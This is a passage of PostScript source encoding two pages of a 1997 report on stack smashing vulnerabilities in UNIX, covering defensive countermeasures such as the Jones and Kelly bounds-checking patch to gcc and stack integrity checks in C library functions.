1.400 0 32 -0.400 0 (e )D 0.400 0 (S)A (n)S -0.400 0 (a)A -0.300 0 (r)A 0.100 0 (s)A (k)S 0.200 0 (ii)A ; : 2170 3349 2713 76 rc 0 0 0 sco (F2_67) cvn F2 67 xF F2_67 Ji 2243 3349 M 0.500 0 (13)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2311 3365 M 2.000 0 32 (, )W -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 2.000 0 32 (h )W -0.200 0 (w)A (ou)S 0.200 0 (l)A 2.000 0 32 (d )W 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 5.000 0 32 -3.000 0 (y )D (on)S 0.200 0 (l)A 5.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e \223)D (d)S -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A -0.300 0 (r)A (ou)S 0.100 0 (s)A 2.400 0 32 -0.400 0 (\224 )D -0.300 0 (\()A ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 4132 3365 M 0.100 0 (s)A 2.400 0 32 -0.400 0 (ee )D 0.200 0 (fi)A (g)S ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 612 3542 M (9.1.a)S -1.300 0 (\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 844 3542 M 13.000 0 32 ( )W -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 12.900 0 32 0.100 0 (s )D 0.200 0 (i)A 13.000 0 32 (n )W 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e )D 12.700 0 32 0.300 0 (C )D 0.200 0 (li)A (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 16.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 13.000 0 32 (nd p)W -0.400 0 (e)A -0.300 0 (rf)A (o)S -0.300 0 (r)A 12.800 0 32 0.200 0 (m )D 13.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 14.000 0 32 (k )W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -1.000 0 (g)A -0.300 0 (r)A 0.200 0 (it)A 17.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (h)S -0.400 0 (ec)A 14.000 0 32 (k b)W -0.400 0 (e)A -0.300 0 (f)A (o)S -0.300 0 (r)A 14.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A -0.300 0 (f)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A (n)S -0.400 0 (c)A 0.200 0 (i)A (n)S 15.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; 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: 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 22.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 23.000 0 32 -1.000 0 (g )D (p)S -0.300 0 (r)A (ob)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A 22.000 0 32 (, )W -0.400 0 (a)A 21.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 0.200 0 (i)A 21.900 0 32 0.100 0 (s )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 22.000 0 32 (h v)W 0.200 0 (i)A (o)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 22.900 0 32 0.100 0 (s )D 22.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 24.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A -0.300 0 (\222)A 22.900 0 32 0.100 0 (s s)D 0.200 0 (im)A (p)S 0.200 0 (li)A -0.400 0 (c)A 0.200 0 (it)A -3.000 0 (y)A (,)S ; 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: 2713 2612 2170 76 rc 0 0 0 sco (F2_67) cvn F2 67 xF F2_67 Ji 2786 2612 M 0.500 0 (14)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2854 2628 M 3.000 0 32 (. )W -0.100 0 (T)A (h)S -0.400 0 (e)A 0.200 0 (i)A 3.300 0 32 -0.300 0 (r )D (p)S -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (c)A (h)S -0.400 0 (e)A 2.900 0 32 0.100 0 (s )D 0.200 0 (t)A 3.000 0 32 (o )W -1.000 0 (g)A 3.400 0 32 -0.400 0 (cc a)D -0.300 0 (r)A 3.400 0 32 -0.400 0 (e a)D (v)S -0.400 0 (a)A 0.200 0 (il)A -0.400 0 (a)A (b)S 0.200 0 (l)A 3.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2805 M 0.100 0 (s)A (ou)S -0.300 0 (r)A 4.400 0 32 -0.400 0 (ce a)D 4.000 0 32 (nd b)W 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 7.000 0 32 -3.000 0 (y )D -0.300 0 (f)A (o)S -0.300 0 (r)A 0.200 0 (m)A ; : 1476 2789 3407 76 rc 0 0 0 sco F2_67 Ji 1549 2789 M 0.500 0 (15)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1617 2805 M (.)S 0.700 0 ([)A (6)S 3.300 0 32 0.700 0 (] )D -0.100 0 (T)A (h)S -0.400 0 (e)A 0.200 0 (i)A 4.300 0 32 -0.300 0 (r )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 4.000 0 32 (h )W 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 4.000 0 32 (d )W 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 4.000 0 32 (o p)W -0.400 0 (e)A -0.300 0 (rf)A (o)S -0.300 0 (r)A 3.800 0 32 0.200 0 (m t)D (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2982 M 0.100 0 (s)A -0.400 0 (a)A 0.200 0 (m)A 56.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -3.000 0 (y)A (p)S 56.400 0 32 -0.400 0 (e )D (o)S 56.300 0 32 -0.300 0 (f )D (bound)S 55.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (ec)A (k)S 0.200 0 (i)A (n)S -1.000 0 (g)A 56.000 0 32 (, )W -0.200 0 (w)A 0.200 0 (it)A (hou)S 55.800 0 32 0.200 0 (t m)D (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 58.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 57.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A (p)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 57.000 0 32 (on o)W 57.300 0 32 -0.300 0 (f )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3159 M -0.600 0 (F)A (u)S -0.300 0 (r)A 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A 2.000 0 32 (, )W 1.100 0 (J)A (on)S -0.400 0 (e)A 1.900 0 32 0.100 0 (s )D -0.400 0 (a)A 3.000 0 32 (nd )W -0.200 0 (K)A -0.400 0 (e)A 0.200 0 (ll)A 6.000 0 32 -3.000 0 (y )D (p)S -0.300 0 (r)A (ov)S 0.200 0 (i)A (d)S -0.400 0 (e)A 3.000 0 32 (d )W 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D (op)S 0.200 0 (ti)A 3.000 0 32 (on )W 0.200 0 (t)A 3.000 0 32 (o )W 0.200 0 (t)A (u)S -0.300 0 (r)A 3.000 0 32 (n )W 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D (bound)S 2.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (ec)A (k)S 0.200 0 (i)A (n)S 4.000 0 32 -1.000 0 (g )D 0.200 0 (m)A (od)S 3.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F6) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F6_100) cvn F6 100 xF F6_100 Ji 4047 3159 M 3.000 0 32 (on )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 4175 3159 M (o)S 3.300 0 32 -0.300 0 (r )D ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 4286 3159 M (o)S 0.200 0 (ff)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3336 M 0.200 0 (i)A 2.000 0 32 (n )W 2.400 0 32 -0.400 0 (a )D -1.000 0 (g)A 0.200 0 (i)A (v)S -0.400 0 (e)A 2.000 0 32 (n p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 2.000 0 32 (. )W -0.700 0 (B)A 6.000 0 32 -3.000 0 (y )D -0.300 0 (r)A -0.400 0 (e)A (p)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A (n)S 0.200 0 (ti)A (n)S 4.000 0 32 -1.000 0 (g )D -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 6.000 0 32 -3.000 0 (y )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 3.300 0 32 -0.300 0 (r )D -0.200 0 (w)A 0.200 0 (it)A 3.000 0 32 (h )W 3.400 0 32 -0.400 0 (a )D (n)S -0.400 0 (e)A 3.200 0 32 -0.200 0 (w )D ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 3142 3336 M (ba)S 0.100 0 (s)A 3.400 0 32 -0.400 0 (e )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (r)A 3.000 0 32 (, )W -0.400 0 (k)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3739 3336 M 3.000 0 32 (, )W 0.200 0 (t)A (h)S -0.400 0 (a)A 2.800 0 32 0.200 0 (t i)D 2.900 0 32 0.100 0 (s )D (d)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (i)A (v)S -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3513 M -0.074 0 (from the original pointer, )A ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 1646 3513 M (p)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1696 3513 M -0.070 0 (, the following formula was used:)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4221 M -0.200 0 (O)A (n)S 0.200 0 (l)A 11.000 0 32 -3.000 0 (y )D (on)S 9.400 0 32 -0.400 0 (e )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 9.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 8.900 0 32 0.100 0 (s )D (v)S -0.400 0 (a)A 0.200 0 (li)A 9.000 0 32 (d )W -0.300 0 (f)A (o)S 9.300 0 32 -0.300 0 (r )D 9.400 0 32 -0.400 0 (a )D -1.000 0 (g)A 0.200 0 (i)A (v)S -0.400 0 (e)A 9.000 0 32 (n )W -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 9.000 0 32 (on )W -0.400 0 (a)A 9.000 0 32 (nd on)W 9.400 0 32 -0.400 0 (e ca)D 9.000 0 32 (n )W -0.400 0 (c)A (h)S -0.400 0 (ec)A 9.000 0 32 (k )W -0.200 0 (w)A (h)S -0.400 0 (e)A 0.200 0 (t)A (h)S -0.400 0 (e)A 9.300 0 32 -0.300 0 (r )D 9.400 0 32 -0.400 0 (a )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 9.300 0 32 -0.300 0 (r )D -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (it)A (h)S 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (ti)A -0.400 0 (c)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4398 M -0.400 0 (e)A 1.000 0 (x)A (p)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A 0.200 0 (i)A (on )S 0.200 0 (i)A 0.900 0 32 0.100 0 (s )D (v)S -0.400 0 (a)A 0.200 0 (li)A 1.000 0 32 (d b)W 4.000 0 32 -3.000 0 (y )D -0.300 0 (f)A 0.200 0 (i)A (nd)S 0.200 0 (i)A (n)S 2.000 0 32 -1.000 0 (g )D 0.200 0 (it)A 0.900 0 32 0.100 0 (s )D (b)S -0.400 0 (a)A 0.100 0 (s)A 1.400 0 32 -0.400 0 (e )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -1.000 0 (')A 0.900 0 32 0.100 0 (s s)D 0.200 0 (t)A (o)S -0.300 0 (r)A -0.400 0 (a)A -1.000 0 (g)A 1.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 1.000 0 32 (on. )W -0.100 0 (T)A (h)S 0.200 0 (i)A 0.900 0 32 0.100 0 (s )D 0.200 0 (i)A 0.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (ec)A (k)S -0.400 0 (e)A 1.000 0 32 (d )W -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (i)A 1.000 0 32 (n )W 0.200 0 (t)A 1.000 0 32 (o )W 0.200 0 (i)A (n)S 0.100 0 (s)A (u)S -0.300 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4575 M -0.057 0 (that the expression\222s result points to the same storage region.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4752 M -2.300 0 (I)A 6.000 0 32 (n )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.200 0 (i)A 6.300 0 32 -0.300 0 (r )D 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 6.000 0 32 (on )W 1.100 0 (J)A (on)S -0.400 0 (e)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A 6.000 0 32 (nd )W -0.200 0 (K)A -0.400 0 (e)A 0.200 0 (ll)A 10.000 0 32 -3.000 0 (y )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (e)A 7.000 0 32 (d )W 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D -0.300 0 (fr)A (on)S 6.800 0 32 0.200 0 (t )D -0.400 0 (e)A 7.000 0 32 (nd o)W 7.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D 7.200 0 32 -0.200 0 (GNU )D (p)S -0.300 0 (r)A (o)S 0.200 0 (j)A -0.400 0 (ec)A 0.200 0 (t)A -0.300 0 (\222)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4929 M 2.400 0 32 -0.400 0 (cc c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r)A 2.000 0 32 (, )W -1.000 0 (g)A -0.400 0 (cc)A 2.000 0 32 (. )W 0.300 0 (C)A (od)S 2.400 0 32 -0.400 0 (e )D -0.200 0 (w)A -0.400 0 (a)A 1.900 0 32 0.100 0 (s )D -0.400 0 (a)A (dd)S -0.400 0 (e)A 2.000 0 32 (d )W 0.200 0 (t)A 2.000 0 32 (o )W -0.400 0 (c)A (h)S -0.400 0 (ec)A 2.000 0 32 (k po)W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (it)A (h)S 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (ti)A 2.400 0 32 -0.400 0 (c a)D 2.000 0 32 (nd u)W 0.100 0 (s)A -0.400 0 (e)A 2.000 0 32 (, )W -0.400 0 (a)A 3.000 0 32 (nd )W 0.200 0 (t)A 3.000 0 32 (o )W 0.200 0 (m)A -0.400 0 (a)A 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (i)A 3.000 0 32 (n )W 3.400 0 32 -0.400 0 (a )D 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5106 M (o)S 18.300 0 32 -0.300 0 (f )D (kno)S -0.200 0 (w)A 18.000 0 32 (n )W -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 18.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (t)A (o)S -0.300 0 (r)A -0.400 0 (a)A -1.000 0 (g)A 18.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A (on)S 17.900 0 32 0.100 0 (s )D (u)S 0.100 0 (s)A 0.200 0 (i)A (n)S 19.000 0 32 -1.000 0 (g )D 0.100 0 (s)A (p)S 0.200 0 (l)A -0.400 0 (a)A 21.000 0 32 -3.000 0 (y )D 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (ee)A 17.900 0 32 0.100 0 (s )D -0.300 0 (f)A (o)S 18.300 0 32 -0.300 0 (r )D -0.400 0 (e)A -0.300 0 (ff)A 0.200 0 (i)A -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (e)A (n)S -0.400 0 (c)A -3.000 0 (y)A 19.000 0 32 (. )W -2.100 0 (L)A 0.200 0 (imit)A -0.400 0 (e)A 19.000 0 32 (d p)W -0.400 0 (e)A -0.300 0 (rf)A (o)S -0.300 0 (r)A 0.200 0 (m)A -0.400 0 (a)A (n)S -0.400 0 (ce)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5283 M -0.027 0 (statistics are as follows:)A ; : 522 5486 2880 94 rc 0 0 0 sco F2_83 Ji 612 5486 M 0.250 0 ( )A ; : 1152 5486 2700 94 rc 0 0 0 sco F2_83 Ji 1242 5486 M 0.250 0 ( )A ; 612 5539 N M 1200 4 rr : 0 0 0 sco O ; : 0 0 4883 6391 rc 0 0 0 sco (F2_42) cvn F2 42 xF F2_42 Ji 612 5582 M (14)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 654 5587 M 0.200 0 ( http://www-ala.doc.ic.ac.uk/~phjk/BoundsChecking.html)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_42 Ji 612 5682 M (15)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 654 5687 M 0.187 0 ( ../../docs/ftp_/p_subdomain/dse.doc)A ; : 2036 3854 902 244 rc 0 0 0 sco %%IncludeFont: Symbol (F9) cvn 1.008 (Symbol) cvn /Type1 F (Symbol) cvn mF (F9_94_127) cvn F9 94 0 0 127 0 0 xMF F9_94_127 Ji 2181 3854 M -0.302 0 (\()A ; : 2036 3854 902 244 rc 0 0 0 sco F9_94_127 Ji 2422 3854 M -0.302 0 (\))A ; : 2036 3854 902 244 rc 0 0 0 sco (F9_98_118) cvn F9 98 0 0 118 0 0 xMF F9_98_118 Ji 2542 3860 M 0.366 0 (\()A ; : 2036 3854 902 244 rc 0 0 0 sco F9_98_118 Ji 2758 3860 M 0.366 0 (\))A ; : 2036 3854 902 244 rc 0 0 0 sco (F9_94_146) cvn F9 94 0 0 146 0 0 xMF F9_94_146 Ji 2148 3839 M -0.302 0 (\()A ; : 2036 3854 902 244 rc 0 0 0 sco F9_94_146 Ji 2790 3839 M -0.302 0 (\))A ; : 2110 3887 828 114 rc 0 0 0 sco F6_100 Ji 2226 3887 M (p)S ; : 2463 3887 475 114 rc 0 0 0 sco F6_100 Ji 2579 3887 M -0.400 0 (k)A ; : 2036 3854 902 244 rc 0 0 0 sco (F9_100) cvn F9 100 xF F9_100 Ji 2295 3876 M 0.100 0 (+)A ; : 2036 3854 902 244 rc 0 0 0 sco F9_100 Ji 2471 3876 M 0.100 0 (\264)A ; : 2036 3854 902 244 rc 0 0 0 sco F9_100 Ji 2647 3876 M 0.100 0 (+)A ; : 2260 3887 678 114 rc 0 0 0 sco F2_100 Ji 2369 3887 M (2)S ; : 2604 3887 334 114 rc 0 0 0 sco F2_100 Ji 2713 3887 M (1)S ; 2111 3854 N M 6 6 rr : 0 0 0 sco O ; 2111 3854 N M 6 6 rr : 0 0 0 sco O ; 2117 3854 N M 740 6 rr : 0 0 0 sco O ; 2857 3854 N M 6 6 rr : 0 0 0 sco O ; 2857 3854 N M 6 6 rr : 0 0 0 sco O ; 2111 4092 N M 6 6 rr : 0 0 0 sco O ; 2111 4092 N M 6 6 rr : 0 0 0 sco O ; 2117 4092 N M 740 6 rr : 0 0 0 sco O ; 2857 4092 N M 6 6 rr : 0 0 0 sco O ; 2857 4092 N M 6 6 rr : 0 0 0 sco O ; 2111 3860 N M 6 232 rr : 0 0 0 sco O ; 2857 3860 N M 6 232 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 26 ]%%) = %%PageTrailer %%Page: 27 27 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (27)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1869 1512 M 0.011 0 (Example 9.2.a Jones and Kelly results)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 1659 M -0.200 0 (D)A -0.400 0 (e)A 0.100 0 (s)A (p)S 0.200 0 (it)A 23.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (e)A 0.200 0 (mi)A -0.300 0 (-f)A -0.400 0 (a)A (vo)S -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (l)A 23.400 0 32 -0.400 0 (e )D (p)S -0.400 0 (e)A -0.300 0 (rf)A (o)S -0.300 0 (r)A 0.200 0 (m)A -0.400 0 (a)A (n)S 23.400 0 32 -0.400 0 (ce )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 0.100 0 (s)A 0.200 0 (ti)A -0.400 0 (c)A 0.100 0 (s)A 23.000 0 32 (, )W 0.200 0 (i)A 23.000 0 32 (n )W -0.400 0 (a)A (dd)S 0.200 0 (iti)A 24.000 0 32 (on )W 0.200 0 (t)A 24.000 0 32 (o )W 0.200 0 (t)A (h)S 24.400 0 32 -0.400 0 (e )D -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 23.800 0 32 0.200 0 (l )D -0.300 0 (r)A 0.200 0 (i)A 0.100 0 (s)A 24.000 0 32 (k )W 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 24.000 0 32 (d )W -0.400 0 (a)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1836 M 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 11.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 10.400 0 32 -0.400 0 (e )D 9.700 0 32 0.300 0 (C )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 10.400 0 32 -0.400 0 (e a)D 9.800 0 32 0.200 0 (t t)D (h)S 0.200 0 (i)A 9.900 0 32 0.100 0 (s )D 0.200 0 (l)A -0.400 0 (e)A (v)S -0.400 0 (e)A 0.200 0 (l)A 10.000 0 32 (, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 9.900 0 32 0.100 0 (s )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ti)A 10.000 0 32 (on )W 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 9.900 0 32 0.100 0 (s )D (p)S -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (c)A (h)S 0.200 0 (i)A (n)S 11.000 0 32 -1.000 0 (g )D -0.400 0 (a)A 10.000 0 32 (nd )W -0.300 0 (r)A -0.400 0 (ec)A (o)S 0.200 0 (m)A (p)S 0.200 0 (ili)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2013 M 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (ti)A (n)S 7.000 0 32 -1.000 0 (g )D 5.700 0 32 0.300 0 (C )D -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 6.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 6.000 0 32 (nd )W 0.200 0 (it)A 5.900 0 32 0.100 0 (s )D 0.200 0 (li)A (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.100 0 (s)A 6.000 0 32 (. )W -0.600 0 (F)A (u)S -0.300 0 (r)A 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A 6.000 0 32 (, )W -0.400 0 (a)A 5.800 0 32 0.200 0 (ll )D (p)S -0.300 0 (r)A -0.400 0 (e)A (v)S 0.200 0 (i)A (ou)S 0.100 0 (s)A 0.200 0 (l)A 9.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 6.000 0 32 (d b)W 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 5.900 0 32 0.100 0 (s )D 0.200 0 (m)A (u)S 0.100 0 (s)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2190 M (b)S 0.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (e)A 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (e)A (d )S -0.400 0 (a)A (nd )S -0.300 0 (r)A -0.400 0 (ec)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A (d )S -0.200 0 (w)A 0.200 0 (it)A (h )S 0.200 0 (t)A (h)S 0.400 0 32 -0.400 0 (e )D (n)S -0.400 0 (e)A 0.200 0 32 -0.200 0 (w )D 0.200 0 (li)A (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.100 0 (s)A (. )S -0.200 0 (O)A (n)S 1.400 0 32 -0.400 0 (ce )D 0.200 0 (t)A (h)S 0.200 0 (i)A 0.900 0 32 0.100 0 (s )D 0.200 0 (i)A 0.900 0 32 0.100 0 (s )D (don)S -0.400 0 (e)A 1.000 0 32 (, )W -0.400 0 (a)A 0.800 0 32 0.200 0 (ll )D (b)S 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.900 0 32 0.100 0 (s )D 1.000 0 32 